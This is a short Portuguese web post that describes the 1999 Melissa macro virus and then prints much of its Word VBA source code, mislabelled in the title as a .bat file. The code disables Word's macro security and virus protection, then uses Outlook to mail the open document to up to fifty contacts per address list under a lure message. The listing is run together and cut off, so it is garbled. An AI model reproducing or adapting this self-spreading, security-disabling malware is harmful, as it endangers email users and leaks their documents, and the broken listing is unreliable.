Código do vírus melissa em .bat

O Temido vírus Melissa

   A sua popularidade se deve ao fato desse ter sido o vírus que mais rápido se alastrou pelo mundo. Para você ter uma idéia do que isso significa, a primeira notícia na mídia especializada relatando os estragos desse vírus foi publicada apenas seis horas depois do vírus ter sido detectado pela primeira vez.
Esse vírus é escrito especificamente para o Word 97 e superiores (Word 98 para Mac e Word 2000) e, quando ativado, envia e-mails através do Outlook. O problema é que ele envia esses e-mails sem a autorização do usuário e com os últimos arquivos que você trabalhou no Word em attach. Isso significa que dados confidenciais podem ser enviados sem a sua autorização. Em empresas que possuem conexão dedicada com a Internet, isso ainda significa um prejuízo extra. Se muitos usuários estiverem infectados, com certeza o servidor de e-mail da empresa ficará congestionado, por causa da quantidade de arquivos em attach a serem enviados...
----------------------------------------------------------------------------------------
Código:

Private Sub Document_Open()On Error Resume NextIf

System.PrivateProfileString("","HKEY_CURRENT_USER\Softwa

re\Microsoft\Office\9.0\Word\Security", "Level") <>

""ThenCommandBars("Macro").Controls("Security...").Enabled =

FalseSystem.PrivateProfileString("","HKEY_CURRENT_USER\S

oftware\Microsoft\Office\9.0\Word\Security", "Level") =

1&ElseCommandBars("Tools").Controls("Macro").Enabled =

FalseOptions.ConfirmConversions = (1 - 1):

Options.VirusProtection = (1 - 1):Options.SaveNormalPrompt = (1 -

1)End IfDim UngaDasOutlook, DasMapiName,

BreakUmOffASliceSet UngaDasOutlook =

CreateObject("Outlook.Application")Set DasMapiName =

UngaDasOutlook.GetNameSpace("MAPI")If

System.PrivateProfileString("","HKEY_CURRENT_USER\Softwa

re\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"ThenIf

UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile",

"password"For y = 1 To DasMapiName.AddressLists.CountSet

AddyBook = DasMapiName.AddressLists(y)x = 1Set

BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo = 1

To AddyBook.AddressEntries.CountPeep =

AddyBook.AddressEntries(x)BreakUmOffASlice.Recipients.Add

Peepx = x + 1If x > 50 Then oo =

AddyBook.AddressEntries.CountNext

ooBreakUmOffASlice.Subject = "Important Message From "

&Application.UserNameBreakUmOffASlice.Body = "Here is that

document you asked for ... don'tshow anyone else

Wink"BreakUmOffASlice.Attachments.Add

ActiveDocument.FullNameBreakUmOffASlice.SendPeep = ""Next

yDasMapiName.Logoff

-----------------------------------------------------------------------

Cuidado!!!

-----------------------------------------------------------------------